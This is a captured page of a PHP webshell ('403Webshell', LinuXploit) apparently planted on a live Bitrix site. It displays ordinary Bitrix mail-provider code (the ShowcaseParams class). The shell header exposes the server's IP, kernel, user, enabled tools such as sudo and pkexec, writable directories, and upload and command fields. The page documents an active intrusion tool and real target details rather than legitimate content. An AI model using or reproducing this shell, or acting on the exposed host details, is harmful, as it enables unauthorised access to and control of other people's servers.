403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/main/lib/mail/providers/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/main/lib/mail/providers/showcaseparams.php
<?php

namespace Bitrix\Main\Mail\Providers;

use Bitrix\Mail;
use Bitrix\Main\Localization;
use Bitrix\Main\Localization\Loc;
use Bitrix\Main\Config\Configuration;
use Bitrix\Mail\Helper\Mailbox;
use Bitrix\Main\Application;
use Bitrix\Main\Loader;
use Bitrix\Main\Web\Uri;

final class ShowcaseParams
{
	private const PATH_MAIL_CONFIG = '/mail/config/';
	private const MAILBOX_LIMIT_SLIDER_CODE = 'limit_contact_center_mail_box_number';

	private const RU_REGION_CODE = 'ru';
	private const IMAP_TYPE = 'imap';
	private const RU_PROVIDERS_LIST = ['yandex', 'mailru', 'office365', 'gmail'];
	private const WORLD_PROVIDER_LIST = ['gmail', 'icloud', 'office365', 'yahoo'];

	private bool $isSenderShowcase;
	private ?string $region;

	public function __construct(bool $isSenderShowcase)
	{
		$this->isSenderShowcase = $isSenderShowcase;
		$this->region = Application::getInstance()->getLicense()->getRegion();
	}

	public function getParams(): array
	{
		$isCloud = false;
		if (!Loader::includeModule('mail'))
		{
			return [
				'options' => [
					'isModuleMailInstalled' => false,
					'promotionProviders' => $this->getPromotionProviders(),
					'isSmtpAvailable' => $this->isSmtpAvailable(),
					'isCloud' => $isCloud,
				],
			];
		}

		$intranetToolSettings = $this->getIntranetToolSettings();
		extract($intranetToolSettings, EXTR_OVERWRITE);
		$canConnectNewMailbox = Mailbox\MailboxConnector::canConnectNewMailbox();
		$providers = $this->getProviders();

		return [
			'options' => [
				'isModuleMailInstalled' => true,
				'canConnectNewMailbox' => $canConnectNewMailbox,
				'mailboxLimitSliderCode' => self::MAILBOX_LIMIT_SLIDER_CODE,
				'isMailToolAvailable' => $isMailToolAvailable ?? false,
				'toolLimitSliderCode' => $toolLimitSliderCode ?? null,
				'isSmtpAvailable' => $this->isSmtpAvailable(),
				'isCloud' => $isCloud,
			],
			'providers' => $providers,
		];
	}

	private function getIntranetToolSettings(): array
	{
		if (class_exists('\Bitrix\Mail\Integration\Intranet\ToolShowSettings'))
		{
			$toolShowSettings = new Mail\Integration\Intranet\ToolShowSettings();

			return [
				'isMailToolAvailable' => $toolShowSettings->isMailAvailable(),
				'toolLimitSliderCode' => $toolShowSettings->getMailLimitSliderCode(),
			];
		}

		return [
			'isMailToolAvailable' => true,
			'toolLimitSliderCode' => null,
		];
	}

	private function getProviders(): array
	{
		if (!Loader::includeModule('intranet'))
		{
			return [];
		}

		$services = Mailbox::getServices();
		$providers = [];
		foreach ($services as $service)
		{
			if ($service['type'] !== self::IMAP_TYPE)
			{
				continue;
			}

			$uri = new Uri(self::PATH_MAIL_CONFIG . 'new');
			if ($this->isSenderShowcase)
			{
				$uri->addParams(['smtp' => 'Y']);
			}

			$providers[] = [
				'href' => $uri->addParams(['id' => $service['id']]),
				'icon' => $service['icon'],
				'name' => $service['name'],
			];
		}

		return $providers;
	}

	private function getPromotionProviders(): array
	{
		if (!$this->region)
		{
			return self::WORLD_PROVIDER_LIST;
		}

		return (Localization\Loc::getDefaultLang($this->region) === self::RU_REGION_CODE) ? self::RU_PROVIDERS_LIST : self::WORLD_PROVIDER_LIST;
	}

	private function isSmtpAvailable(): bool
	{
		$defaultMailConfiguration = Configuration::getValue('smtp');
		return Loader::includeModule('bitrix24')
			|| $defaultMailConfiguration['enabled']
		;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit